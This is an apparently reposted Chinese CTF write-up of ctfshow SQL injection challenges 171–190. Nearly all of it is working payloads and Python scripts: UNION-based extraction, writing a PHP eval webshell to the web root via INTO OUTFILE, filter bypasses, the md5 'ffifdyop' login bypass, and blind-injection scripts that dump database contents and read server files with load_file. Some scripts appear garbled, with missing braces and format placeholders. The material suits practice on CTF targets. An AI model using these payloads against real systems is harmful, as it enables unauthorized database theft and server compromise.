CTFSHOW SQL注入篇(171-190)
Posted yu22x
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFSHOW SQL注入篇(171-190)相关的知识,希望对你有一定的参考价值。
文章目录
无过滤
前言
下面几道无过滤的题都可以写入shell 然后蚁剑连上后从数据库里面找,就统一写下做法,后面不在具体复述。
具体做法如下
id=0' union select 1,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"
有的是查询的三项所以payload是
id=0' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"
接着蚁剑连接后访问数据库
171
查询语句可以看出来是单引号注入,猜测flag是flag用户的密码
直接万能密码就可以了
payload:1'||1%23
172
正常执行万能密码发现flag不在这个表中
按正常操作使用联合查询
id=1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()%23
得到两个表 ctfshow_user,ctfshow_user2
我们试试第二张表(这几道题都是flag为flag用户的密码)
payload:id=1' union select password,2,3 from ctfshow_user2%23
173
发现了一个bug
这个题正常让我们访问的网站是
/api/v3.php
但是我们访问/api然后传id可以不受过滤的限制(其实用的是171的源码)
payload:i/api/?d=0' union select 1,password,3 from ctfshow_user3 %23
当然这个题的目的是想让我们利用编码绕过
我这想到了base64和16进制
payload1:api/v3.php?id=0' union select 1,hex(password),3 from ctfshow_user3 %23
payload2:api/v3.php?id=0' union select 1,to_base64(password),3 from ctfshow_user3 %23
或者我们也可以截断或者逆向输出
payload3:id=0' union select reverse(password),2,3 from ctfshow_user3%23
payload4:id=0' union select substr(password,2),2,3 from ctfshow_user3%23
174
在输出的结果中过滤了flag和数字,可以把输出结果中的数字进行替换
写了个比较烂的脚本(当然也可以用盲注,但是还是希望多试试其他方法,就当练脚本了)
利用的是mysql中的replace函数
#author:yu22x
import urllib
import requests
url="http://52286033-66c5-4d63-8436-d7541f2f005a.chall.ctf.show/api/v4.php?id=0' union select 'a',"
a1=[0,1,2,3,4,5,6,7,8,9]
a2=['!','@','-','$','_','^','=','*','(',')']
s="password"
for i in range(0,10):
s="replace("+s+",0,'1')".format(a1[i],a2[i])
u=url+'substr('+s+',5)'+"from ctfshow_user4 where username='flag'%23"
r=requests.get(u)
s2=""
for j in r.text:
if j in a2:
s2+=str(a1[a2.index(j)])
else:
s2+=j
print(s2)
175
过滤了ascii为0-127的字符,基本用替换是行不通的,想了一顿没发现啥好方法,只能用保底的盲注了
#author:yu22x
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
url = 'http://2c621323-6800-438f-9867-9110cce65972.chall.ctf.show/api/v5.php?id='
flag = ''
for i in range(1,50):
print(i)
for j in str:
payload = "0'or if(substr(password,,1)='',sleep(1),0)%23".format(i,j)
#print(payload)
stime = time.time()
r = requests.get(url+payload)
etime = time.time()
if etime-stime >=1:
flag +=j
print(flag)
break
过滤
前言
176-179用万能密码可以通杀,但笔者还是写一下其他的方法供新手学习。
176
题目其实过滤了 select(不是替换成的空,应该是替换的其他的,否则是可以双写绕过的),但是只是过滤了小写的,所以使用大写可以绕过。
payload:id=0' union SELECT password,2,3 from ctfshow_user%23
177
题目过滤了空格,可以替换的方法有很多
payload1:id=0'/**/union/**/SELECT/**/password,2,3/**/from/**/ctfshow_user%23
payload2:id=0'union/**/SELECT(password),2,(3)from(ctfshow_user)%23
有点画蛇添足
178
再上一个题的基础上增加了/**/
的过滤
除了用/**/和括号代替外,我们还可以使用如下方法绕过空格过滤
回车(%0a)
`(tab键上面的按钮)(%09)
tab
但是基于题目本身,发现只能使用%0a,%09(tab键)
payload1:id=0'%0aunion%0aSELECT%0apassword,2,3%0afrom%0actfshow_user%23
payload2:id=0'%09union%09SELECT%09password,2,3%09from%0actfshow_user%23
179
在上一题的基础上又把%0a %09过滤了,没有办法只能用万能密码了
payload:1'||1%23
180 181
过滤了注释符#
和--
当然我们只需要在原来的一句话的基础上修改下即可。
可能会有人想到这样 id=0'||'1
这样其实是有问题的,因为他原sql语句中有limit限制,我们只能看到返回结果中的第一行
。
这样的话,我们只需要让他显示flag用户的信息就可以了
payload1:id=0'||username='flag
当然我们也可以利用password字段查询
payload2:id=0'||(password)regexp'flag
182
过滤了我们刚才用的flag
那我们直接用正则就可以啦
payload1:id=0'||(username)regexp'f
payload2:id=0'||(password)regexp'f
183
如果知道表名的话就还好做些,但是题目好像没有什么提示,那就从前面做的题里面猜吧 ctfshow_user,有回显果然可以。
select count(pass) from ctfshow_user where xxx=xxx就可以了,如果有回显就说明等式成立。
空格过滤了用括号代替,等号过滤了可以用like或者regexp
#author:yu22x
import requests
import string
url="http://22b6cc4f-8077-4192-b754-279efad6ea86.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"_-"
flag=''
for i in range(1,45):
print(i)
for j in s:
data=
'tableName':f'(ctfshow_user)where(pass)regexp("^ctfshowflag+j")'
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
break
184
过滤了where可以使用having,过滤了引号可以使用16进制。
具体where和having用法的区别可参考https://blog.csdn.net/yexudengzhidao/article/details/54924471
#author:yu22x
import requests
import string
url="http://87d32c88-6000-4c76-bf95-b58baed44631.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"_-"
def asc2hex(s):
a1 = ''
a2 = ''
for i in s:
a1+=hex(ord(i))
a2 = a1.replace("0x","")
return a2
flag=''
for i in range(1,45):
print(i)
for j in s:
d = asc2hex(f'^ctfshowflag+j')
data=
'tableName':f' ctfshow_user group by pass having pass regexp(0xd)'
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
break
185|186
过滤了0-9,可以使用true拼接出数字,在使用char函数转换成字符,最后使用concat进行拼接。
比如想获取字符c,c的ascii为99
'c'=char(concat(true+true+true+true+true+true+true+true+true,true+true+true+true+true+true+true+true+true));
当然也可以复杂一点
c=char(ture+ture+ture......)
(99个true)
简单写个转换的脚本
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
#author:yu22x
import requests
import string
url="http://955c4204-b9de-433c-931d-5f7a0d9f0c51.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshowflag+j')
data=
'tableName':f' ctfshow_user group by pass having pass regexp(d)'
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='':
exit(0)
break
187
当MD5函数的第二个参数为true时。返回的是字符串。
ffifdyop
raw: 'or'6\\xc9]\\x99\\xe9!r,\\xf9\\xedb\\x1c
md5('ffifdyop',true)= 'or'6\\xc9]\\x99\\xe9!r,\\xf9\\xedb\\x1c
会发现直接闭合掉了并且存在or,所以可以直接登录成功。
188
想要拿flag需要输入的密码经过intval函数后等于查询出的密码。
注意这个地方用的两个等于号。
所以只要真正的密码是字母我们就可以通过输入密码为0来绕过
payload
username=1||1
password=0
189
题目说了flag在api/index.php中,所以直接盲注读文件就好了。
#author:yu22x
import requests
import string
url="http://d2577b14-e91d-4f5e-b23a-73ff43862cec.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,1000):
print(i)
for j in range(32,128):
#print(chr(j))
data='username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),i,1))=j,1,0)",
'password':'1'
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("\\\\u67e5\\\\u8be2\\\\u5931\\\\u8d25" in r.text):
flag+=chr(j)
print(flag)
break
190
#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
print(i)
for j in range(32,128):
#跑库名
# data=
# 'username':f"'||if(ascii(substr(database(),i,1))=j,1,0)#",
# 'password':'1'
#
#跑表名
# data=
# 'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),i,1))=j,1,0)#",
# 'password':'1'
#
#跑列名
# data=
# 'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),i,1))=j,1,0)#",
# 'password':'1'
#
#跑数据
data=
'username':f"'||if(ascii(substr((select f1ag from ctfshow_fl0g),i,1))=j,1,0)#",
'password':'1'
r=requests.post(url,data=data)
if("\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in r.text):
flag+=chr(j)
print(flag)
break
以上是关于CTFSHOW SQL注入篇(171-190)的主要内容,如果未能解决你的问题,请参考以下文章